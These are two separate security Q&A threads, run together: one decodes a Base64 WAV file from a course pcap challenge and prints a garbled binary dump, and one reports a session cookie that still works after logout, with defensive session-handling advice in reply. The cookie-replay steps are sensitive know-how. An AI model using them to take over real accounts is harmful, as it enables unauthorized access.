Hash, encryption of file... key? Need help So my previous question was with some help on pcap files as I am doing a security course and we have a challenge to figure out what was going on in our network. Now one of the files I retrieved is an encrypted file, not sure what type of encryption tho:
So I wonder if this might aid in decrypting the text file? The text file is much longer than what I have posted but any help on having a go or guess at this would be grateful.

This is a Base64-encoded audio RIFF/WAV file.

First you need to Base64-decode it (for instance, with YellowPipe's online tools) and you get (sorry for the one-line ugly format):

RIFFº WAVEfmt U€>Ä  ´qfact€©data| ÿó8Ä[ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿó(Ä_[ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿó8Äš[ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ§^X$BÁ!a³33û¸ŽÂÇ5»ÂÏ9Île¯=‚ˆmÒ4üÊ1>CP–È3ó]ö™#H„‘ †‚då'¨eÎpÉÎ Z4hä@ †Ûƒsœ2ç°@Ââ‚üÎ1?Åð–È.sô€º„&#FÞÁD¸ “'=¨B{PËœàêË‘@ƒ ¾ä¢… 6€ Á&*AÂŸL¨23    Rq¹-Eœà  H£c”™ÓìoLJÊ",aÉ/ÿ2ŒOðì%².4v(¼2I¤òàÊ"’ëMÐBX=Êd2@ÐêÌ‹‡‰ty’n˜Ã’%ñØ;òYdXX3"‚DrÿÌãüŠ«f 1 ”0sdG¿ÿÔîƒ&ïÍìpÑÍ¤‹ÿý7M h³ü@Qä4c r(‚““K£O&#65533; ´’×mc    ájÖ¡†hóyºH  1A äÐÀ˜Âr)cÿÌ£L–I†Vi¤Šä¢q£‡Y?©iW=²öMæäûâSQÌÙÞtu‚a¡1åÂñÁ-‡›PöVÙ³x7±˜ö[üðÊßÿ3ŒG‚S/§Ýyµ€½Œî™íÏ5mOÊâ-ÿ7ÿÞÆ3gþÖÙüÁPµ:Œ%Kˆ>Å”Èbms É8ô/H   !¬e~£óÔ¹Ü¿“Äkvû×ìJÈ~gqñïïMö—¬ßÿÌ£h{6ØyÇ¾½j‘zÜ5äH§k9vcya ·Ò46aûÎ¨õSø€µnë_ÿ`‰ÓGX¨Þ‘ÿ3ŒAQ.Uü’€ÁX20Fq²7þJ$Ž…?8›VBÊÊsŒÞOÔaÆ?§¬™ÿä8"ŸÙ€ (þ´Uè„FeÖEKN[³Š8Yµú¿ßôífâa‘øÚò¹ÿÀ 7ÿó(Ä1Šå–C siõ}½sb4§A¦NÔXqNü««Èº‚ BbCK7J°A£ÀxƒŸë8fŠ¯v¡ÎèÿÌã@<;—OMˆ/ÿH®‹…IÍ„e-˜1éJÞ¯F3E’Y†Ö2ý›öå>UXP†ÊIˆè¶@    C   áÅÄ':2;12y…pÌ*JJ!|'’¼«Y íÅ¤C«]peÌ¿ûÿÌ£Ì@«™8AIñ·¸¸žÓöBñÈÿüp} Ÿ•ÉÌÏë&gu·Ñk¶Ð8åP!eLË!ZBœ mæaU¿˜Ëe:Îç{ÿÌã¸T‹9@Á*ðýþêAA7‘k¹¦Î £ÞÍŽØ„b®Å¥ÿô¥®ê(ýÈåvÇÔ-!<û=¡ÿ*n9 1ó™~ 'øÚÜæà2ö^Éh‚„†;)E0f§Nnêè2ÿó(Ä92æPFüŒðM(Z?ä´Žõƒnˆý7;d`/1Î”ƒ1 YŠš²>dÆŒÌÁå™Oü å{”(’ÿó8Ä0Â á’FüÌ<Ñ¸8=ZƒßÏyPçÐ Ó©Ò×”  pN ¶þiCûêH²>g¢»u8PÃIœ4£¶1MÚ>0ˆÂnÿí(—º, ^5¨bXuèÿ½,@B€yU^à_ÿ2ŒDÁîmh˜HC ¶ÝZ}jß9ÊVü§þ{ŽÝpÎ†ÎrOÿÔ´Œªu:‹)F1†·3ÿDº:KÌüÎ1D ƒ´[¢ÁîQœQ:÷TÁ×ôÇ<x7ä)¨ttßF™Õ«T·SÍ™ÜŒ‹_àBeü²Ì•T…šªú?ý&´WÃ@p0:ÿ$¥5zžÞÄÚÑªØÿNÉêz°¸H_ÿÌ£ˆAÈ†ðe; Ào÷þÿÐÊT1P™ÝÁB‹‘Õÿýáÿï@Æ    ‚Ëk®?/Cñô`Íï’új.!öÿ3ŒEÁmF¨IÌ¾ÄÒHx>³„!-$‡!íI$µþ¦`1z &½ ›äL6ßÿýBäz0@¤ÄM˜ñ&.»w(j¨è“†ù÷1I£õ›$ýK<I.fh’Ûu-þµÊ,)]€Ÿ/ÿÿó(Ä{AÒâ,h

You can see from the header that it's a RIFF (.WAV) file. I don't guarantee that the output above is entirely valid, as I'm not sure how trustworthy YellowPipe's tools are.

And unfortunately I don't have sound on this PC so I cannot listen to it!!

EDIT:

You mentioned in the question that you only provided an excerpt. Obviously, you'd need to reconvert base64-decode the whole file to work on something useful, not just an excerpt.

If possible, please post the whole file to Pastebin, Dropbox, Google Docs or something like this.

EDIT 2:

It works perfectly fine with your file.
It just doesn't work with YellowPipe because it outputs to the page and you probably damage the output when the browser uses a different encoding. Using a decoding program or another webservice like MotoBit's Base64 Decoder to send the output to a file gives you a valid binary file, which you can rename to a WAV file (e.g. audio.wav) and listen to it.

Do that and you can listen to the message.
Then I don't know what the Applecore key could be used for. It could be that a secret message is embedded in the file by steganography. I assume that's the trick.


Web Application - Cookie Expiry We are using a web application on cloud. I need a small clarification. We are using Perl with Apache. I see a following issue here for the below scenario. I need some inputs of whether this is most vulnerable or not?
Scenario:

Login user to webapp.
remember the home page URL post login.
process: cookie gets set along with value.
save the cookie and the value.

Logout from web browser.
create the same cookie with the same value before logout.
hit the home url.
it bypasses the authentication mode.

The cookie expires after 20 minutes.

Most worrying factor is, even when I transfer the cookie to some other browser and try hitting the post login url, the authentication is bypassed.

I would like to know how vulnerable this is and how severe if this is most vulnerable.

There are many ways in which a session management mechanism can fail and this could lead to severe security risks.

As a good practice you should:

Use HTTPS, so that the information in the cookies could not be intercepted in transit.
Set the secure flag for the cookies, so that they are not sent over unencrypted connections.
Set the HTTPOnly flag for the cookies, so that they could not be read using JavaScript
Ensure that the session identifier (the value in the cookie that identifies a valid user session) is not easy to predict. Use large random strings for this purpose.
Ensure that the session identifier is changed when the user starts a new session (logs in), to prevent session fixation
A session expiration mechanism should be implemented on the server. Do not trust the user for this job.
When the user logs out, invalidate the session on the server, so that even if an attacker attempts to use the identifier, it would not be accepted by the server.

From your description, your aplication fails to meet the last point in the list above. You should check to see if the other points are satisfied. The sum of all the vulnerabilities in the application is the one that offers you a general view of how secure/vulnerable you are.

You should take into account that by exploiting the problem you have described, one may be able to access an user account without credentials. How bad is this in the context of your application? Could this malicious user access sensitive data, place orders, etc? For one application this may have a great impact, for another one it may be less important.

For further reading check out:
OWASP Session Management Cheat Sheet